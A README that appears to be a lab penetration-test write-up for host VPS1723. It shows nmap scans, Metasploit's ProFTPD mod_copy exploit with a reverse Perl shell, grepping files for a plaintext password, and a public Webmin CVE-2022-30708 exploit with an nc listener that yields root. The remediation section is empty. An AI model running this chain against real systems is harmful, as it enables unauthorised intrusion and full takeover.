README.md

Pentest 18 - VPS1723 - 53 - 10.14.1.53

Scanning and Enumerating

```
Not shown: 995 closed tcp ports (reset)
PORT      STATE SERVICE    REASON         VERSION
21/tcp    open  ftp        syn-ack ttl 63 ProFTPD 1.3.5
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Li
| ssh-hostkey:
|   3072 ec:4e:15:c3:91:e6:76:0d:b0:79:d7:e0:c7:8c:a6:d0 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCx2aR0bKHraXb85zNNVP3lXA2F87jLnDNgDD3MQHuGx1
|   256 3a:27:36:f6:da:22:eb:bf:ce:e3:97:4c:9c:01:d9:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCkVIPZlRH
|   256 c4:97:f5:f2:cf:99:d0:6a:9d:9f:2c:dc:c3:dc:1c:f8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICesVFm/xcW06yBKQB6vheSAvFn4NTIH109AC86CPnuR
80/tcp    open  http       syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Ubuntu Default Page: It works
81/tcp    open  tcpwrapped syn-ack ttl 63
10000/tcp open  http       syn-ack ttl 63 MiniServ 1.991 (Webmin httpd)
| http-methods:
```

Gaining a limited shell

```
msf6 > search proftpd 1.3.5

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Desc
   -  ----                                  ---------------  ----       -----  ----
   0  exploit/unix/ftp/proftpd_modcopy_exec  2015-04-22       excellent  Yes    ProF


Interact with a module by name or index. For example info 0, use 0 or use exploit/un
```

```
msf6 > use 0
msf6 exploit(unix/ftp/proftpd_modcopy_exec) >
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,typ
   RHOSTS     10.14.1.53       yes       The target host(s), see https://github.com/
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www/html    yes       Absolute writable website path
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  ppp0             yes       The listen address (an interface may be specifi
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   ProFTPD 1.3.5


msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit

[*] Started reverse TCP handler on 172.16.4.1:4444
[*] 10.14.1.53:80 - 10.14.1.53:21 - Connected to FTP server
[*] 10.14.1.53:80 - 10.14.1.53:21 - Sending copy commands to FTP server
[*] 10.14.1.53:80 - Executing PHP payload /UmyOuxI.php
[*] Command shell session 22 opened (172.16.4.1:4444 -> 10.14.1.53:38416 ) at 2023-0

whoami
www-data
cd /opt/webmin
ls
FDYaoP.php
```

```
HKkS10j.php
N4XKLgQ.php
RAryYn.php
RyFo74.php
UmyOuxI.php
index.html
```

Escalating permissions

```
cd /opt/webmin
find . -maxdepth 1 -type f -exec grep -iH "password" {} \;
...snipped...
./demo.txt:password: x8rqsPHQ6X98A
...snipped...

$ cat demo.txt
cat demo.txt
username: demouser
password: x8rqsPHQ6X98A
```

Gaining Root with CVE-2022-30708

Metasploit didn't have anything accessible - Google had good results here: https://github.com/esp0xdeadbeef/rce_webmin

```
touch rce.py
vim rce.py
chmod 755 rce.py
┌──(autorecon)─(kali㉿kali)-[~/…/18-vps1723/results/10.14.1.53/exploit]
└─$ python3 ./rce.py -u 'http://10.14.1.53:10000' -un 'demouser' -pw 'x8rqsPHQ6X98A'
### Exploitation
```

```
──(autorecon)─(kali㉿kali)-[~/…/18-vps1723/results/10.14.1.53/scans]
└─$ nc -lvp 4445
listening on [any] 4445 ...
10.14.1.53: inverse host lookup failed: Unknown host
connect to [172.16.4.1] from (UNKNOWN) [10.14.1.53] 59688
sh: 0: can't access tty; job control turned off
# whoami
root
# hostname -f
vps1723
```

```
# cat /root/key.txt
djk43nls93mwz17dfvba
#
```

Remediation